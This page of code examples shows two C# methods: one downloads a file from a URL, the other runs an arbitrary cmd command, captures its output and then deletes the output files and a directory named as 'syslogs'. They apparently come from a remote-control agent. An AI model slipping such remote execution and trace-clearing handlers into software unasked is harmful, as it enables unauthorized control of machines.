示例#1
0
        public static byte[] FromURL(string url, string fileName)
        {
            string result = "Download completed successfully.";

            using (var client = new WebClient())
            {
                if (string.IsNullOrEmpty(url) || string.IsNullOrEmpty(fileName))
                {
                    result = "No URL or File Name specified.";
                    return(GenericCommandResult.Generate(result));
                }
                try
                {
                    client.DownloadFile(url, fileName);
                }
                catch (NotSupportedException)
                {
                    result = "Incorrect URL format.";
                }
                catch (WebException)
                {
                    result = "No file found at specified link.";
                }
            }

            return(GenericCommandResult.Generate(result));
        }
示例#2
0
        public static byte[] ExecuteCommand(string command)
        {
            string commandOutput = "";
            bool   changeDir     = false;

            //bool outputEmpty;
            _outputFile = _outputDir + Guid.NewGuid().ToString() + ".txt";

            CreateDirectory();



            if (command.ToLower().Contains("cd"))
            {
                changeDir = true;
                command  += @" && cd";
            }

            Process pProcess = CreateCMDProcess(command);

            try
            {
                pProcess.Start();
            }
            catch (Exception e)
            {
                commandOutput = e.Message;
            }


            pProcess.WaitForExit(1000);

            try
            {
                if (!(new FileInfo(_outputFile).Length <= 0))
                {
                    commandOutput = ReadCMDOutputFile(pProcess);
                }
            }
            catch (Exception e)
            {
                commandOutput = e.Message;
            }

            DeleteCMDOutputFile(pProcess);

            if (changeDir)
            {
                commandOutput = ChangeWorkingDirectory(commandOutput);
            }

            try
            {
                DeleteOutputDirectory(pProcess);
            }

            catch
            {
                Console.WriteLine("Unable to delete syslogs directory.");
            }


            pProcess.Dispose();



            return(GenericCommandResult.Generate(commandOutput));
        }